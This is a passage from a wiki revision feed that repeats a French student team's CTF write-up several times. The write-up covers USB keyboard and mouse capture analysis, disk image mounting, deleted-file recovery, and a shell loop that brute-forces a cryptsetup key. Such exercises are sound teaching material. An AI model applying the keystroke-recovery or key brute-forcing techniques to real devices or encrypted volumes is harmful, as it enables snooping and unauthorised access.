 import json&lt;br /&gt;
 import matplotlib.pyplot as plt&lt;br /&gt;
 &lt;br /&gt;
 def main():&lt;br /&gt;
   packets_export_file = open('test.json')&lt;br /&gt;
   packets = json.load(packets_export_file)&lt;br /&gt;
 &lt;br /&gt;
   x_offsets = [int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.x&amp;quot;])&lt;br /&gt;
     for p in packets] &lt;br /&gt;
 &lt;br /&gt;
   y_offsets = [-int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.y&amp;quot;])&lt;br /&gt;
     for p in packets]&lt;br /&gt;
 &lt;br /&gt;
   x_positions = list(itertools.accumulate(x_offsets))&lt;br /&gt;
   y_positions = list(itertools.accumulate(y_offsets))&lt;br /&gt;
 &lt;br /&gt;
   plt.plot(x_positions, y_positions)&lt;br /&gt;
   plt.title(&amp;quot;Mouse position&amp;quot;)&lt;br /&gt;
   plt.xlabel(&amp;quot;X&amp;quot;)&lt;br /&gt;
   plt.ylabel(&amp;quot;Y&amp;quot;)&lt;br /&gt;
   plt.show()&lt;br /&gt;
   &lt;br /&gt;
 main()&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58325</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58325"/>
				<updated>2022-01-20T12:59:37Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Espion dans le bus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
	 if [ $? -ne 0 ];&lt;br /&gt;
	 then &lt;br /&gt;
		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
		 exit&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
	 if [ $? -eq 0 ]; then &lt;br /&gt;
	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
	 	exit&lt;br /&gt;
	 else&lt;br /&gt;
	 	cryptsetup close chiffre chiffre&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
On utilise Wireshark pour visualiser les trames.&lt;br /&gt;
On remarque un échange entre un périphérique et l'ordinateur.&lt;br /&gt;
La seule data qui change est contenue à la fin du packet.&lt;br /&gt;
Les PID et VID au début de la communication nous informent que le périphérique est une souris.&lt;br /&gt;
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y&lt;br /&gt;
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.&lt;br /&gt;
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. &lt;br /&gt;
&lt;br /&gt;
 cat audiodump.wav | tail -400&lt;br /&gt;
&lt;br /&gt;
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours sur une technique pas technique pour abuser de certaines personnes.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;br /&gt;
&lt;br /&gt;
 import itertools&lt;br /&gt;
 import json&lt;br /&gt;
 import matplotlib.pyplot as plt&lt;br /&gt;
 &lt;br /&gt;
 def main():&lt;br /&gt;
   packets_export_file = open('test.json')&lt;br /&gt;
   packets = json.load(packets_export_file)&lt;br /&gt;
 &lt;br /&gt;
   x_offsets = [int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.x&amp;quot;])&lt;br /&gt;
     for p in packets] &lt;br /&gt;
 &lt;br /&gt;
   y_offsets = [-int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.y&amp;quot;])&lt;br /&gt;
     for p in packets]&lt;br /&gt;
 &lt;br /&gt;
   x_positions = list(itertools.accumulate(x_offsets))&lt;br /&gt;
   y_positions = list(itertools.accumulate(y_offsets))&lt;br /&gt;
 &lt;br /&gt;
   plt.plot(x_positions, y_positions)&lt;br /&gt;
   plt.title(&amp;quot;Mouse position&amp;quot;)&lt;br /&gt;
   plt.xlabel(&amp;quot;X&amp;quot;)&lt;br /&gt;
   plt.ylabel(&amp;quot;Y&amp;quot;)&lt;br /&gt;
   plt.show()&lt;br /&gt;
   &lt;br /&gt;
 main()&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58324</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58324"/>
				<updated>2022-01-20T12:58:33Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Encore une image en musique */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
	 if [ $? -ne 0 ];&lt;br /&gt;
	 then &lt;br /&gt;
		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
		 exit&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
	 if [ $? -eq 0 ]; then &lt;br /&gt;
	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
	 	exit&lt;br /&gt;
	 else&lt;br /&gt;
	 	cryptsetup close chiffre chiffre&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
On utilise Wireshark pour visualiser les trames.&lt;br /&gt;
On remarque un échange entre un périphérique et l'ordinateur.&lt;br /&gt;
La seule data qui change est contenue à la fin du packet.&lt;br /&gt;
Les PID et VID au début de la communication nous informent que le périphérique est une souris.&lt;br /&gt;
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y&lt;br /&gt;
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.&lt;br /&gt;
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. &lt;br /&gt;
&lt;br /&gt;
 cat audiodump.wav | tail -400&lt;br /&gt;
&lt;br /&gt;
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours sur une technique pas technique pour abuser de certaines personnes.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;br /&gt;
&lt;br /&gt;
 import itertools&lt;br /&gt;
 import json&lt;br /&gt;
 import matplotlib.pyplot as plt&lt;br /&gt;
 &lt;br /&gt;
 def main():&lt;br /&gt;
   packets_export_file = open('test.json')&lt;br /&gt;
   packets = json.load(packets_export_file)&lt;br /&gt;
 &lt;br /&gt;
   x_offsets = [int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.x&amp;quot;])&lt;br /&gt;
     for p in packets] &lt;br /&gt;
 &lt;br /&gt;
   y_offsets = [-int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.y&amp;quot;])&lt;br /&gt;
     for p in packets]&lt;br /&gt;
 &lt;br /&gt;
   x_positions = list(itertools.accumulate(x_offsets))&lt;br /&gt;
   y_positions = list(itertools.accumulate(y_offsets))&lt;br /&gt;
 &lt;br /&gt;
   plt.plot(x_positions, y_positions)&lt;br /&gt;
   plt.title(&amp;quot;Mouse position&amp;quot;)&lt;br /&gt;
   plt.xlabel(&amp;quot;X&amp;quot;)&lt;br /&gt;
   plt.ylabel(&amp;quot;Y&amp;quot;)&lt;br /&gt;
   plt.show()&lt;br /&gt;
   &lt;br /&gt;
 main()&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58319</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58319"/>
				<updated>2022-01-20T12:56:35Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Filsss fait un sssssomme */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
	 if [ $? -ne 0 ];&lt;br /&gt;
	 then &lt;br /&gt;
		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
		 exit&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
	 if [ $? -eq 0 ]; then &lt;br /&gt;
	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
	 	exit&lt;br /&gt;
	 else&lt;br /&gt;
	 	cryptsetup close chiffre chiffre&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. On trouve sur internet de quel type de donnée il s'agit pour le bloc, que l'on peut convertir en image. L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours sur une technique pas technique pour abuser de certaines personnes.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;br /&gt;
&lt;br /&gt;
 import itertools&lt;br /&gt;
 import json&lt;br /&gt;
 import matplotlib.pyplot as plt&lt;br /&gt;
 &lt;br /&gt;
 def main():&lt;br /&gt;
   packets_export_file = open('test.json')&lt;br /&gt;
   packets = json.load(packets_export_file)&lt;br /&gt;
 &lt;br /&gt;
   x_offsets = [int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.x&amp;quot;])&lt;br /&gt;
     for p in packets] &lt;br /&gt;
 &lt;br /&gt;
   y_offsets = [-int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.y&amp;quot;])&lt;br /&gt;
     for p in packets]&lt;br /&gt;
 &lt;br /&gt;
   x_positions = list(itertools.accumulate(x_offsets))&lt;br /&gt;
   y_positions = list(itertools.accumulate(y_offsets))&lt;br /&gt;
 &lt;br /&gt;
   plt.plot(x_positions, y_positions)&lt;br /&gt;
   plt.title(&amp;quot;Mouse position&amp;quot;)&lt;br /&gt;
   plt.xlabel(&amp;quot;X&amp;quot;)&lt;br /&gt;
   plt.ylabel(&amp;quot;Y&amp;quot;)&lt;br /&gt;
   plt.show()&lt;br /&gt;
   &lt;br /&gt;
 main()&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58317</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58317"/>
				<updated>2022-01-20T12:55:51Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Déjà vu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
